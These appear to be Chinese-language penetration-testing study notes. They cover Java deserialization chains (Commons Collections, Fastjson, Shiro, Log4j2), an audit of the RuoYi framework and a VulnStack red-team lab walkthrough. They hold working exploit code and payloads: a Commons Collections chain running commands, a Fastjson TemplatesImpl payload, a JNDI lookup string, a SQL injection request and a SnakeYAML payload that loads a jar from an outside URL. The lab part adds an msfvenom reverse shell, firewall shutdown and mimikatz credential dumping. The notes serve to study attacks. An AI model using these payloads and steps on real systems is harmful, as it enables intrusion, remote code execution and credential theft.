常见漏洞审计

代码审计

1
2
3
4
5
6
Common Collections 1,2
Shiro-550、Shiro-721
fastjson <=1.2.24
https://cloud.tencent.com/developer/article/1974944
Log4j2系列 < 2.15.0
https://cloud.tencent.com/developer/article/1917530

Common Collection 1

  • commons-collections3.1-3.2.1,jdk1.7.1以下
  1. 流程
    1. 漏洞点:在3.1和jdk1.7.1之前,InvokerTransformer的transform数组可控
    2. 关键点:AnnotationInvocationHandler反序列化,LazyMap+动态代理
    3. 调用链:transform能够被LazyMap的get方法进行调用,LazyMap链的调用是通过AnnotationInvocationHandler类的动态代理实现的,在handler的反序列化readObject中,会调用到memberValues的方法,memberValues设置为LazyMap的实例,因为挂了一层动态代理,所以会调用到LazyMap的invoke方法,invoke方法中调用了memberValues的get方法,接着调用transform,形成调用链。

LazyMap链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(annotationInvocationHandler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

问题

  • LazyMap类如何构造利用链?

    核心漏洞函数是InvokerTransformer类的transform方法,然后transform可控,是漏洞点。LazyMap需要通过调用本身的get方法继续往下调用到transform,则需要往上找到能够进行反序列化的地方,即怎么调用get方法,通过动态代理利用annotationInvocationHandler的invoke调用到memberValues的get再调用到LazyMap的get方法。

  • 需要一个类在反序列化的时候触发LazyMap类的get方法?

    annotationInvocationHandler初始化时,将LazyMap放入到memberValues中,然后触发invoke方法调用memberValues.get方法

  • 如何去调用AnnotationInvocationHandler类中的invoke方法?

    将LazyMap通过AnnotationInvocationHandler挂上动态代理,根据动态代理,每个具有代理对象的方法被调用时都会触发invoke方法。

修复

1
2
3
3.2.2
FunctorUtils.checkUnsafeSerialization
调用readObject和writeObject的时候把InvokerTransformer类给拉黑了

Common Collections 2

  • 利用过程:

    1
    2
    3
    1. 构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码)
    2. 创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer方法名传递给TransformingComparator(这一步和CC1链非常相似)
    3. 通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链

特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//漏洞点:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses;
_class[i] = loader.defineClass(_bytecodes[i]);

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

//调用链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer;
public synchronized Transformer newTransformer(); //CC1链 特征return Transformer

org.apache.commons.collections.functors.InvokerTransformer#transform;
{
Class cls = input.getClass(); //Object input; 形参
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} //构造任意类并调用函数

org.apache.commons.collections4.comparators.TransformingComparator#compare;
O value1 = this.transformer.transform(obj1);

//寻找可反序列化类 调用了compare方法的readObject(), 一般出现在集合类中
java.util.PriorityQueue#readObject;
java.util.PriorityQueue#heapify;
java.util.PriorityQueue#siftDown;
{
if (comparator != null)
/*
通过构造方法写入一个Comparator 然后通过构造PriorityQueue调用readObject()完成调用链利用
public PriorityQueue(Comparator<? super E> comparator);
*/
{
java.util.PriorityQueue#siftDownUsingComparator;
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0);
}
{
java.util.PriorityQueue#siftDownComparable;
if (right < size && ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0);
}
}

修复

1
和CC1一样直接拉黑InvokerTransformer

Fastjson <1.2.24

1
2
3
4
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " +
"\"_bytecodes\":[\"" + baseEvil +
"\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, " +
"\"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
  • _tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

  • _outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

问题

  • _bytecodes为什么需要base64编码?

    • fieldValueDeserilizer的deserialze方法设置到对象中之前调用了bytesvalue()方法,方法内部对_bytecodes进行了base64的解码
  • 如何在fastjson的parseObject()反序列化的过程中触发漏洞点?

    • 核心漏洞点函数getOutputProperties方法,setValue函数中用于反射调用的method属性中设置了public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(),从而调用触发调用链。
  • _name为什么需要设置?

    • 在getTransletInstance内部要满足如下条件

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      if (_name == null) return null; //_name不为空
      if (_class == null) defineTransletClasses(); //_class为空
      //defineTransletClasses
      {
      _class[i] = loader.defineClass(_bytecodes[i]);
      final Class superClass = _class[i].getSuperclass();

      // Check if this is the main class
      if (superClass.getName().equals(ABSTRACT_TRANSLET)) { //_bytecodes对应类需要继承AbstractTranslet类
      _transletIndex = i;
      }
      }
  • fastjson在反序列化过程中具体是如何调用属性的getter方法的?

    答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo

Shiro550

  1. 认证调用链
image-20230221231700180
  1. 特征:登录返回包中在Set-Cookie字段中出现rememberMe=deleteMe,可能有Shiro反序列化漏洞

  2. 登录后不对发送包中的Cookie进行反序列化,编写Poc时需要在未登录的情况下进行提交

    1
    2
    //利用ysoserial生成CC2 POC链
    java8 -jar ysoserial.jar CommonsCollections2 "calc" > poc.txt
  3. 加密方式

  4. 漏洞调用链:

    在对请求Filter进行拦截,并通过SecurityManager创建请求对应的Subject的过程中解析身份信息resolvePrincipals时,org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity向下调用了getRememberedSerializedIdentity获取得到请求request中Cookie的rememberMe的值,解密后利用deserialize直接进行反序列化造成任意命令执行。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (this.getCipherService() != null) {
    bytes = this.decrypt(bytes);
    }

    return this.deserialize(bytes);
    }
    //org.apache.shiro.io.DefaultSerializer#deserialize
    public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) { //只进行了null判断
    String msg = "argument cannot be null.";
    throw new IllegalArgumentException(msg);
    } else {
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);

    try {
    ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
    T deserialized = ois.readObject();
    ois.close();
    return deserialized;
    } catch (Exception var6) {
    String msg = "Unable to deserialze argument byte array.";
    throw new SerializationException(msg, var6);
    }
    }
    }
  5. 密钥设置

log4j2

基础

  1. JNDI (Java Naming and Directory Interface)

    JDNI通过绑定的概念将对象和名称联系起来,JNDI中的一组绑定作为上下文来引用。每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。

  2. LDAP(Light Directory Access Portocol)

    LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)。

  3. Codebase

    Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。

低版本触发漏洞

  • 影响范围:< JDK 8u_191
  1. 漏洞原理

    1
    2
    3
    4
    5
    6
    ${jndi:ldap://localhost:9999/test}
    关键就如下几步:
    1、攻击者发送带有恶意Ldap内容的字符串,让服务通过log4j2打印
    2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。
    3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
    4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
  2. 问题:

    1. 此攻击为什么对高版本无效?

      因为高版本在VersionHelper12的loadClass设置验证了trustURLCodebase是不是设置为false,默认情况下是设置的false,所以无法利用

高版本触发漏洞

  • 基础
    • lookup:当Java底层请求Ldap服务器后,Ldap主要返回了三个主要参数javaClassName、javaFactory、JavaFactoryLocaltion,以及一些额外参数。客户端获得这些参数之后主要做一件事情:构造需要的类实例。即客户端通过javaFactory类来构建实现我们需要的JavaClassName指定的实例。
      • javaFactory是ObjectFactory类子类,来源有:1.Codebase,2.本地(ldap返回Codebase地址或者返回javaFactory对应的类地址) // 本地方式:需要找到本地哪些javaFactory存在一些可以被利用的漏洞。
  1. 利用方式

    1. 关键类:BeanFactory,该Factory我们可以通过默认构造函数实例化任意一个类,并调用其任意的只有一个String入参的公共方法,且其方法名可以不用是标准setter的名称,而可以是任意名称。

    2. Ldap服务器返回JavaFactory=org.apache.naming.factory.BeanFactory,javaClassName=javax.el.ELProcessor。同时传递参数x=上述恶意代码,forceString="x=eval"。
      1、直接在本地加载和实例化BeanFactory工厂,得到BeanFacory实例
      2、BeanFactory工厂通过默认构造函数实例化javax.el.ELProcessor,得到ELProcessor实例
      3、Ldap告诉BeanFactory,ELProcessor有一个string类型的变量x(实际没有),其内容为恶意代码块,且该变量的setter方法名为eval。
      4、BeanFactory就会执行ELProcessor实例的eval方法,且入参为恶意代码块。
      

修复

  1. 新增消息的Lookup开关(默认关闭),默认不解析${}配置
  2. 新增白名单:给协议、class和域名都添加白名单

若依系统代码审计

Ruoyi系统代码审计

Mybatis sql注入 <=4.6.1

  1. 漏洞成因:在mybatis中,#进行预编译,$是直接拼接,会导致sql注入出现

寻找漏洞点

  1. application.yaml配置了mybatis的sql配置在各模块的mapper下

    image-20230228141512587
  2. 直接遍历所有模块的mapper,查看特征是否有$

    -

    image-20230228141641823 image-20230228141656121
    • src/main/resources/mapper/system/SysRoleMapper.xml
    image-20230228141733021
    • src/main/resources/mapper/system/SysUserMapper.xml

      image-20230228141932168 image-20230228142020220

      image-20230228142040517image-20230228142020220

      image-20230228142040517

注入

  1. select型注入,直接拿了个src/main/resources/mapper/system/SysUserMapper.xml的selectUserList进行注入

    image-20230228144336457

    查找调用链,最终找到地址/system/user/list,并且对传入的params数组并没有做任何的过滤,查询有回显,可以直接使用union注入就好了:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    //反找mapper->impl->service->controller
    com.ruoyi.system.mapper.SysUserMapper#selectUserList-->; //mapper
    com.ruoyi.system.service.ISysUserService#selectUserList-->; //service
    com.ruoyi.web.controller.system.SysUserController#list-->; //找到目标controller
    public TableDataInfo list(SysUser user)
    {
    startPage();
    List<SysUser> list = userService.selectUserList(user);
    return getDataTable(list);
    }

payload编写

  • poc:

    1
    pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=-1&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=union select (select database()),2,3,4,5,6,7,8,9,10,11,12,13,14,"2023-02-28 14:36:50",16,"2023-02-28 14:36:50",18,19,20

    注入的点是params.dataScope,对应的15,17号位置是Date类型,且格式是@Excel(name = "最后登录时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Type.EXPORT)

    image-20230228145401904
  • 结果:有前端类型验证,但还是爆出来了,或者用其他的字段

    image-20230228145814855 image-20230228145931411

后台RCE <4.6.2

定时任务调度流程

漏洞分析

  • payload:

    • org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8989/yaml-payload.jar"]]]]')

    • public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
          public AwesomeScriptEngineFactory() {
              try {
                  Runtime.getRuntime().exec("calc");
      //            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
              } catch (IOException e) {
                  e.printStackTrace();
              }
          }
          ...
      }
      
      //创建classpath:META-INF/services/javax.script.ScriptEngineFactory
      //写入:artsploit.AwesomeScriptEngineFactory
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31

      1. 漏洞点,首先按照上面开发流程分析的过程,找到定时任务流程的起点`Job.execute()`方法,一直调用到invokeMethod,或者也能通过写入错误的类爆出异常,调用栈的信息看到关键函数。

      <img src="./若依系统代码审计/image-20230228203222784.png" alt="image-20230228203222784" />

      2. 调用链:

      ```java
      //rce漏洞成因分析,如果是bean容器中的名字就直接获取bean,反射调用方法;否则实例化全类名对应的对象,反射调用方法
      com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(com.ruoyi.quartz.domain.SysJob)-->;
      if (!isValidClassName(beanName))
      //判断是否是bean容器中的
      {
      Object bean = SpringUtils.getBean(beanName);
      invokeMethod(bean, methodName, methodParams);
      }
      else //如果不是,是全类名的话,利用Class反射加载类,有两个条件:1)类有无参构造器、2)public
      {
      Object bean = Class.forName(beanName).newInstance();
      invokeMethod(bean, methodName, methodParams);
      }

      //snakeyaml漏洞成因分析,通过反射生成构造器,通过递归的方式生成成员属性,最后进行实例化return c.newInstance(argumentListx);
      org.yaml.snakeyaml.Yaml#load(java.lang.String)-->;
      org.yaml.snakeyaml.Yaml#loadFromReader-->;
      org.yaml.snakeyaml.constructor.BaseConstructor#getSingleData-->;
      org.yaml.snakeyaml.constructor.BaseConstructor#constructDocument-->;
      org.yaml.snakeyaml.constructor.BaseConstructor#constructObject-->;
      org.yaml.snakeyaml.constructor.BaseConstructor#constructObjectNoCheck-->;
      org.yaml.snakeyaml.constructor.Construct#construct-->;
      org.yaml.snakeyaml.constructor.Construct#construct-->;
    image-20230301100133494
  1. 反序列化完之后,没有出现预期的效果,说明是在javax.script.ScriptEngineManagernewInstance进行构造的过程中触发的RCE。

    1. SPI机制

      全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类

      image-20230301103921522
    2. 服务查找,匹配,并实例化

      image-20230301104219344 image-20230301104643998
      1. snakeyaml和ScriptEngineManager的漏洞链

        image-20230301105053508

总结

1
2
3
4
5
1. ruoyi框架Quartz层面调用的invokeMethod调用目标字符串通过反射进行实例化
2. snakeyaml反射生成实例结合ScriptEngineManager,这里主要是因为可控的因素有:
1>snakeyaml的load方法参数,并且没有判断是否有使用rmi、http、ldap之类的字样,
2>ScriptEngineManager的服务加载类名,
3>目标服务出网获取需要加载的恶意类

VulnStack

vulstack红队评估(1)

虚拟机配置:

win7:网卡1为外网可访问(192.168.227.128),网卡2为域环境

win2003:网卡1为域环境

win2008:DC,网卡1为域环境

kali:攻击机(192.168.227.129)

1
2
3
4
5
6
7
8
本机名,确定是否有域,DC,网段有多少主机存在
系统版本systeminfo,补丁信息,是否有杀软
确定DC的ip
主机密码搜集mimikatz
通过nmap --script=vuln <ip>扫描ms系列漏洞
445端口对应smb服务是否开启
3389是否开启
是否多层代理

信息收集

端口信息

  • nmap -T4 -sV 192.168.227.128
image-20230210190726306

目录扫描

image-20230210190943319 image-20230210191838100

子域名扫描

没有域名,没必要扫了

Web探针

image-20230210193051015

总的来说:

  • 有web站点,mysql,开通了135、445说明内网可能可以hash传递。
  • phpmyadmin以及备份文件
  • web绝对路径:C:/phpStudy/WWW

代码审计

mysql配置泄露

虽然有账号密码,但root用户不允许远程登录

image-20230210192346824 image-20230210192445068

后渗透

CobaltStike方式

  1. 通过webshell,查询是否有杀软,并关闭防火墙

    1. tasklist /svc 列举进程服务信息
    image-20230212111911803
    1. netsh advfirewall set allprofiles state off #关闭防火墙
    image-20230212112045097
  2. 生成木马,通过冰蝎上传木马,执行木马,CobaltStike成功上线

    1. 生成木马

      image-20230212111614035
    2. 执行木马

      image-20230212112314954
    3. cs查看机器上线

      image-20230212112343236

域内信息收集

  1. 基本信息搜集
1
2
3
4
5
6
7
8
9
10
# 网络信息&主机信息&(存在域)域信息
shell ipconfig /all # 判断是否有域 如果有,一般dns就是DC
shell whoami
shell hostname
net view
shell net time /domain
shell nslookup domain-name
shell net localgroup administrators
shell net user /domain
shell net group "domain controllers" /domain
image-20230212114511437 image-20230212114954004 image-20230212115041854 image-20230212115127552 image-20230212115344012 image-20230212114358248 image-20230212115526684 image-20230212115551903
1
2
3
4
5
6
本机名:STU1
本地组的管理员权限:Administrator,liukaifeng01 (已获得管理员权限)
域管理员权限:Domain Admins
域控:192.168.52.138 OWA
域内ip:192.168.52.138(DC) 192.168.52.141(域成员) 192.168.52.143(本机)
域内用户:administrators,krbtgt,ligang,liukaifeng01
1
2
3
4
5
#系统信息搜集
shell systeminfo # 查看补丁 系统架构
shell systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文操作系统
shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 中文操作系统
shell echo %PROCESSOR_ARCHITECTURE% # 查看系统系统结构
image-20230212120139739 image-20230212120247097
  1. 凭据信息搜集
1
2
hashdump
logonpasswords
image-20230212121942634 image-20230212122034167
系统信息收集
1
2
shell ipconfig /all
shell net config Workstation
image-20230212172613204
主机密码收集
1
2
hashdump
logonpasswords

漏洞扫描

  • nmap --script=vuln <ip>

    image-20230212184204892

    存在ms08-067和ms17-010漏洞。

msf方式

  • 生成tcp反向木马,上传

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.129 LPORT=4444 -f exe > shell.exe

  • msf开启监听

    1
    2
    3
    4
    use exploit/multi/handler
    set lhost 192.168.227.129
    set payload windows/meterpreter/reverse_tcp #tcp类型
    exploit
  • 提权(https://www.freebuf.com/articles/web/252594.html)

    1. 直接利用getsystem提权(因为没有uac限制)
    image-20230212165337184
    1. 保存会话后,可以使用msf模块绕过UAC进行提权
    image-20230212170714465
    1. 使用ms系列未修补漏洞提权,如ms16-032、ms17-010等

shell进入命令行,信息收集就和CS域内信息收集差不多了。

内网信息收集

  • 获取网卡信息,获取路由信息
image-20230212170041101
  • 在多层网络的情况下,需要添加路由 run autoroute 192.168.52.0/24

  • 探测域内存活主机 run windows/gather/enum_ad_computers,探测域内所有存活主机use auxiliary/scanner/netbios/nbname

    image-20230212180312605
  • 域控列表:run windows/gather/enum_domains

    image-20230212180415536
  • 扫描smb模块,扫描ms17-010模块(445端口)

    1
    2
    use auxiliary/scanner/smb/smb_version
    use auxiliary/scanner/smb/smb_ms17_010
  • 查看补丁:run post/windows/gather/enum_patchs

  • 安装软件信息:run post/windows/gather/enum_applications

  • arp扫描网段:run post/windows/gather/arp_scanner rhosts=host/24

  • 关闭防火墙,使用nmap扫描:netsh advfirewall set allprofiles state offnmap -sS -sV -O 192.168.52.141

  • nmap漏洞扫描:nmap --script=vuln 192.168.52.141

远程桌面连接

  • 使用msf开启3389端口

    1
    2
    run post/windows/manage/enable_rdp
    netstat -an #查看是否开启成功
    image-20230212173315595
  • mstsc远程连接:

image-20230212173420076

链接

https://v0w.top/2020/07/19/vulnstack1/#4-4-%E6%A8%AA%E5%90%91%E6%8E%A2%E6%B5%8B

https://www.freebuf.com/articles/web/252594.html